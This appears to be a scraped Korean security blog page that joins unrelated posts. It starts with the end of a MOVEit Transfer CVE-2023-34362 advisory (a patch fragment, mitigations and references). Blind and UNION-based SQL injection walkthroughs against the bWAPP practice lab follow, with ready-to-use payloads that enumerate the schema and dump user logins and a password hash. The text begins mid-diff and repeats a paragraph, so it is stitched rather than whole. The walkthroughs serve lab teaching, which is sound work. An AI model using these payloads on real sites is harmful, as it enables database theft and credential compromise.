+      where.AddColumnToOrderBy("LoginName", SQLBasicBuilder.OrderDirection.Ascending);
+      this.siGlobs.objWrap.DoReadQuery(where.GetQuery(), where.Parameters, ref MyRS, true);
     }

 

② 벤더사 권장 수정 사항 (업데이트 외) [8]

- MOVEit Transfer의 HTTP 및 HTTPS 트래픽 비활성화

- 감사 로그를 점검해 비정상적인 파일 접근 및 다운로드 기록이 있는지 확인

- 악성 파일 및 사용자 계정 삭제

> 웹쉘과 cmdline 스크립트 파일 등을 삭제하고 승인되지 않은 계정 삭제

> 관련 행위 조사와 관련된 정보 제공 [11]

 

③ 업데이트가 불가할 경우

- 신뢰할 수 있는 IP 주소에서만 MOVEit Transfer 접속하도록 방화벽 설정
- 승인되지 않은 사용자 계정 제거
- 신뢰할 수 있는 인바운드 연결만 허용
- 다단계 인증 활성화

 

④ 공개된 침해지표 보안장비 적용 [12][13][14][15]

 

4. 참고

[1] https://www.ipswitch.com/moveit-transfer
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-34362#close
[3] https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
[4] https://www.shodan.io/search?query=http.favicon.hash%3A989289239
[5] https://viz.greynoise.io/tag/moveit-transfer-scanner?days=30
[6] https://www.akamai.com/blog/security-research/moveit-sqli-zero-day-exploit-clop-ransomware
[7] https://gist.github.com/JohnHammond/44ce8556f798b7f6a7574148b679c643
[8] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
[9] https://community.progress.com/s/article/Vulnerability-May-2023-Fix-for-MOVEit-Transfer-2020-1-12-1

[10] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do;jsessionid=nZaP7DIRsvlu8YwvR52vr0pZJfg76AruG7wWlqMRyamD1eEvxANzXJO2mce9RlAb.nweb2_servlet_ncsc?bbsId=SecurityAdvice_main&nttId=44288&pageIndex=1#LINK

[11] https://docs.ipswitch.com/MOVEit/DMZ%207.5/online%20guide/MOVEitDMZ_AdvancedTopics_SystemInternals_TechnicalReference.htm

[12] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
[13] https://www.mandiant.com/resources/blog/zero-day-moveit-data-theft
[14] https://www.imperva.com/blog/cve-2023-34362-moveit-transfer/
[15] https://www.boannews.com/media/view.asp?idx=118913&page=4&kind=1

[16] https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/

[17] https://github.com/horizon3ai/CVE-2023-34362

[18] https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis?referrer=notificationEmail 

1. Blind SQL Injection

- 웹 서버의 보안 설정을 통해 기존 SQL Injection에 대한 대응이 되어있는 경우 수행

- SQL 쿼리 수행 결과인 참/거짓을 기반으로 데이터를 알아내는 기법

- 참/거짓으로 결과를 반환하므로 노가다성 작업이 필요

- Boolean-Based 기법과 Time-Based 기법이 있음

[캡쳐 1] Blind SQL Injection 수행 과정

- Blind SQL Injection에서는 다음 함수들이 자주 사용됨

함수 설명
length("문자열") - 문자열의 길이를 반환하는 함수
substring(대상 문자열, 시작 위치, 길이) - 문자열에서 지정한 시작위치부터 길이만큼 출력하는 함수
- 시작 위치는 1부터 시작
* MySQL : substring() / Oracle : substr() / 사용법은 동일
limit 시작 위치, 갯수 - 지정한 시작위치부터 갯수만큼 결과를 반환하는 함수
- 시작 위치는 0부터 시작
ascii - 문자를 아스키코드로 변환하는데 사용하는 함수
- 10진수 48 ~ 57 = 정수 1 ~ 10
- 10진수 65 ~ 90 = 문자 A ~ Z
- 10진수 97 ~ 122 = 문자 a ~ z

2. 실습

- movie 검색란에 SQL Injection 취약점 유무를 확인하기 위해 '를 입력

- 출력되는 에러를 통해 SQL Injection 취약점이 존재하는 것을 알 수 있음

- 쿼리 수행 결과가 참일 경우와 거짓일 경우 출력되는 결과 값이 다른 것을 알 수 있음

- 해당 결과를 통해 Blind SQL 중 Boolean-Based 기법을 수행해야 한다는것을 유추 가능함

 

2.1 데이터베이스 이름의 문자열 갯수 확인

- length()를 이용해 데이터베이스 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length(database())=1 #

- 질의문 해석 : 데이터베이스 이름의 길이가 1인지 

* database() : 서버의 데이터베이스 명을 반환하는 시스템 함수

- 숫자를 계속해서 증가 시켜 질의를 수행한 결과, 데이터베이스 명은 5글자인 것을 알 수 있음

- 수행 질의문 : ' or 1=1 and length(database())=5 #

- 질의문 해석 : 데이터베이스 이름의 길이가 5인지

2.2 데이터베이스 이름 확인

- substring()를 이용해 데이터베이스의 명을 확인할 수 있음

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='a' #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'a'인지

- 문자를 변경하면서 질의문을 수행하면, 데이터베이스가 'b'로 시작하는 5글자임을 알 수 있음

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='b' #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'b'인지

- 데이터베이스 이름의 두번째 글자 확인을 원할 경우 substring()의 시작위치를 2로 변경하여 질의를 수행하면 됨.

- 수행 질의문 : ' or 1=1 and substring(database(),2,1)='a' #

- 질의문 해석 : 데이터베이스 이름의 두번째 글자가 'a'인지

 

- ASCII 값과 부등호를 이용해 해당 아스키 값이 입력한 아스키 값보다 큰지 작은지 확인할 수 있음

- substring()으로 하나씩 글자를 확인하는 것보다 ASCII 값으로 범위를 한정하여 검색하는 것이 수월

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)<=97 #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 97(문자 a) 보다 작거나 같은 값인지

- 각 과정을 반복하면 데이터베이스의 이름이 'bWAPP'인 것을 알 수 있음

2.3 테이블 이름의 문자열 갯수 확인

- length()와 limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 1#

* table_type = 'base table'란 information_schema에서 메타 데이터 테이블을 제외한 테이블을 의미

- 질의문 해석 :

information_schema 데이터베이스의 tables 테이블에서
table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의
table_name의
첫번째 테이블 이름의

길이가 1인지

- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블 이름의 길이가 4인것을 알 수 있음

- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 4#

- 두번째 테이블 이름의 길이를 알고싶을 경우 위 수행 질의문 중 limit 0,2 로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

2.4 테이블 이름 확인

- ascii, substring(), limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

- 질의문 해석 :

information_schema 데이터베이스의 tables 테이블에서

table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의

table_name의

첫번째 테이블 이름의

쳣번째 글자가

ascii 값으로 97(문자 a)보다 크거나 같은지

- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블이 b로 시작하는 4글자임을 확인할 수 있음

- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

- 문자를 변경하면서 질의를 수행한 결과, 데이터베이스의 첫 글자는 'b'인 것을 알 수 있으며, 결과 값은 blog임

- 두번째 테이블의 이름을 알고싶은 경우 수행 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

- 해당 과정을 반복하면 4번째 테이블 명이 users라는 것을 알 수 있음

2.5 users 테이블의 정보 확인

- 다음 질의를 통해 users 테이블의 첫번째 칼럼의 글자수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1#

- 질의문 해석 :

information_schema 데이터베이스의 columns 테이블에서

table_name이 users인 테이블의

column_name의

첫번째 컬럼의

길이가 1인지

- 2를 대입하여 질의를 수행하면 결과로 참을 반환하며, id임을 추측해 볼 수 있으며 질의를 통해 확인 가능

- 수행 질의문 :  ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,2)= 'id'#

- 두번째 컬럼을 알고싶은 경우 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

- 해당 과정을 반복하면 users 테이블의 컬럼은 id, login, password 등으로 구성되어 있는것을 알 수 있음

2.6 users 테이블의 login 컬럼 정보 확인

- 다음 질의문을 통해 login 컬럼에 저장된 정보의 길이 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select login from users limit 0,1))=1#

- 질의문 해석 : users 테이블의 login 컬럼의 첫번째 컬럼의 길이가 1인지

- 질의문을 변경하면서 질의를 수행하면 2번째 컬럼의 길이가 3인것을 확인할 수 있음

- 다음 질의문을 통해 users 테이블의 login 컬럼의 두번째 컬럼이 3글자이며, bee임을 추측해 볼 수 있으며 질의를 통해 확인 가능

- 수행 질의문 : ' or 1=1 and substring((select login from users limit 1,1),1,3)='bee'#

- 질의문 해석 : users 테이블의 login 컬럼의 두번째 컬럼이 'bee'인지

 

- 또한, 각 과정을 반복하면 users 테이블의 password 컬럼 길이가 40임을 알 수 있고, 해시된 값임을 추측해 볼 수 있음

- 수행 질의문 : ' or 1=1 and length((select password from users where login='bee'))=40#

- 질의문 해석 : users 테이블에서 login 컬럼 값이 'bee'인 password 컬럼의 길이가 40인지

- 해시 여부를 확인하면(수행 질의문에서 md5()를 sha1 등으로 바꿔서 확인 가능) sha1을 사용해 비밀번호를 해시하여 저장하는 것을 알 수 있음

- 수행 질의문 : ' or 1=1 and md5("bug") = (select password from users where login='bee')#

 

3. 비박스 소스 확인

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

SQL injection

- 입력값에 대한 검증을 하지 않을 경우 악의적인 SQL 쿼리를 삽입하여 데이터베이스의 정보를 탈취하거나 인증을 우회하는 공격 기법

- 영화를 검색하는 페이지이며, 아무 입력값 없이 Search를 누르면 모든 영화 목록들이 출력됨

- 해당 페이지에 SQL Injection 취약점 존재 여부를 확인하기 위해 '(작은따옴표) 입력 후 Search 클릭

* 데이터베이스에서는 '(작은따옴표)로 문자 데이터를 구분하기 때문

- 그 결과로 오류메세지가 출력되며, SQL Injection 취약점이 존재하는 것과 MySQL을 사용하는 것을 알 수 있음.

* 데이터베이스별 한줄 주석 : MySQL : # / Oracle : -- / MSSQL : -- / MariaDB : --, # / Sybase IQ : --, //, % / Sybase ASE : -- / DB2 : --

- 좀 더 자세한 정보를 알아내기 위해 UNION SELECT 구문을 사용

UNION문
① 두 개 이상의 SELECT 문을 결합하고자 할 때 사용
② 선행 쿼리의 SELECT 문의 컬럼 갯수와 후행 쿼리의 SELECT 문의 컬럼 갯수와 데이터 형식이 동일해야 함
③ 중복을 제거하여 출력 / UNION ALL은 중복을 제거하지 않고 모두 출력

- UNION 구문을 사용하기 위해서는 먼저 SELECT 문의 컬럼 갯수를 파악해야 하므로 다음 SQL 구문을 실행함

<수행 구문>

' UNION SELECT 1,2...#

<구문 분석>
' : 선행 질의문 종료
UNION : 선행 질의문과 후행 질의문 합치기
1,2,3 ... : 컬럼 갯수
# : MySQL 한줄 주석으로, 이후 구문들은 주석으로 처리되어 무시

' UNION SELECT 1# ------------------- 에러발생
' UNION SELECT 1,2# ----------------- 에러발생
' UNION SELECT 1,2,3# --------------- 에러발생
' UNION SELECT 1,2,3,4# ------------- 에러발생
' UNION SELECT 1,2,3,4,5# ----------- 에러발생
' UNION SELECT 1,2,3,4,5,6# --------- 에러발생
' UNION SELECT 1,2,3,4,5,6,7# ------- 정상실행

- 위의 결과를 통해 컬럼 갯수는 7개이며, 출력되는 컬럼 번호는 2, 3, 4, 5번인 것을 알 수 있음

- 이후, 2, 3, 4, 5번 칼럼 값에 시스템 변수 혹은 메타데이터를 적용해 데이터베이스에 대한 정보를 알 수 있음

 

① 데이터베이스 버전 확인

<수행 구문>

' UNION SELECT 1, @@version, 3, 4, 5, 6, 7#

* @@version : 데이터베이스 버전이 저장된 시스템 변수

② 테이블명 확인

<수행 구문>

' UNION SELECT 1, table_name, 3, 4, 5, 6, 7 FROM information_schema.tables #

<구문 분석>

1) table_name : 테이블 명

2) information_schema : MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB

3) information_schema.tables : information_schema 데이터베이스 내의 tables 테이블(생성된 모든 테이블 정보)

<전체 구문>

information_schema 데이터베이스의 tables 테이블의 테이블 이름을 두번째 컬럼에 출력

③ 테이블 정보 확인

<수행 구문>

' UNION SELECT 1, column_name, 3, 4, 5, 6, 7 FROM information_schema.columns WHERE table_name='users' #

<구문 분석>

1) column_name : 열이름

2) information_schema.columns : information_schema 데이터베이스 내의 columns 테이블(모든 스키마의 컬럼 확인)

3) table_name='users' : table_name(테이블 명)이 users인 테이블

<전체 구문>

information_schema 데이터베이스의 columns 테이블에서 테이블 이름이 users인 테이블의 column 이름을 두번째 컬럼에 출력

④ 계정 정보 확인

<수행 구문>

' UNION SELECT 1, id, login, secret, password, 6, 7 from users # 

<전체 구문>

users 테이블에서 id, login, secret, password 컬럼의 내용을 출력

* 출력되는 컬럼은 4개 이므로 추가로 출력을 원하는 컬럼이 있는 경우 "concat(첫번째컬럼, 두번째컬럼)"을 사용

* concat(str1, str2 ..) : 명시된 문자열을 병합하여 반환하는 함수

- bee 계정의 비밀번호(6885858486f31043e5839c735d99457f045affd0 -> bug)를 알 수 있음

 

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

+ Recent posts